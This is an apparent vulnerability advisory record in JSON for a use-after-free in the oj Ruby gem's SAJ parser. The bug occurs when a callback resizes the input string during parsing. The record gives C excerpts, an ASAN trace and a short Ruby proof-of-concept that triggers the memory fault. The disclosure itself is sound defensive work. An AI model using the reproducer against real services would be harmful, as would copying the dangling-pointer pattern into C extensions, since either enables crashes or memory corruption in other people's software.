{"id":"CVE-2026-54898","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-54898","summary":"Oj: Use-After-Free in Oj::Parser SAJ Callback via Input Mutation","details":"### Summary\n\n`Oj::Parser#parse` is vulnerable to a heap use-after-free when a SAJ/SAJ2 callback mutates the input JSON string during parsing. The C engine holds a raw `const byte *` pointer into the Ruby string's internal buffer. If a callback (e.g. `hash_start`) resizes the string — for example by calling `String#replace` with a longer value — Ruby reallocates the string buffer and frees the old one. The C parser's pointer is left dangling; the next character read at `parser.c:607` is a use-after-free.\n\n### Version\n\n- **Software**: oj gem\n- **Affected**: all versions with `ext/oj/parser.c`\n- **Latest tested**: 3.17.1 (confirmed present)\n\n### Details\n\n`ext/oj/parser.c`, `parser_parse` → `parse`:\n\n```c\nstatic VALUE parser_parse(VALUE self, VALUE json) {\n    const byte *ptr = (const byte *)StringValuePtr(json);  // raw pointer into Ruby string\n    // ...\n    parse(p, ptr);   // ptr used throughout; any realloc frees the backing buffer\n}\n```\n\n```c\n// parser.c:607\nstatic void parse(ojParser p, const byte *json) {\n    const byte *b = json;\n    // ...\n    for (; '\\0' != *b; b++) {   // ← UAF: reads freed memory after callback resizes json\n```\n\nRuby's `String#replace` (or `<<`, `gsub!`, etc.) can trigger a reallocation of the string's internal buffer if the new content is larger than the embedded capacity, freeing the old buffer that `ptr` still points to.\n\nASAN report:\n```\n==372273==ERROR: AddressSanitizer: heap-use-after-free on address 0x51900008ed81\nREAD of size 1 at 0x51900008ed81 thread T0\n    #0 parse          /ext/oj/parser.c:607\n    #1 parser_parse   /ext/oj/parser.c:1408\n0x51900008ed81 is located 1 bytes inside of 1023-byte region [0x51900008ed80, 0x51900008f17f)\nfreed by thread T0 here:\n    #0 free\n    #1 ruby_sized_xfree  (libruby-3.3.so.3.3)\nShadow bytes: [fd]fd fd fd fd fd ...  (entire region freed)\n```\n\n### Reproduce\n\n```ruby\nrequire 'oj'\n\nclass Mutator\n  def initialize(json) = (@json = json; @done = false)\n\n  def hash_start(key)\n    return if @done; @done = true\n    @json.replace('x' * 1_000_000)   # triggers String realloc, frees original buffer\n  end\n\n  def hash_end(key); end\n  def array_start(key); end\n  def array_end(key); end\n  def add_value(value, key); end\nend\n\njson = '{\"a\":1,\"pad\":\"' + ('A' * 1000) + '\",\"z\":2}'\nparser = Oj::Parser.new(:saj)\nparser.handler = Mutator.new(json)\nparser.parse(json)\n```","published":"2026-06-19T19:36:54Z","modified":"2026-09-10T03:51:09.344545084Z","cvss":null,"epss":{"score":0.00167,"percentile":0.06272,"asOf":"2026-09-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"RubyGems","name":"oj","fixedVersion":"3.17.3"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/ohler55/oj/security/advisories/GHSA-q2gm-54r6-8fwm"},{"type":"PACKAGE","url":"https://github.com/ohler55/oj"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-10T03:51:09.344545084Z"}}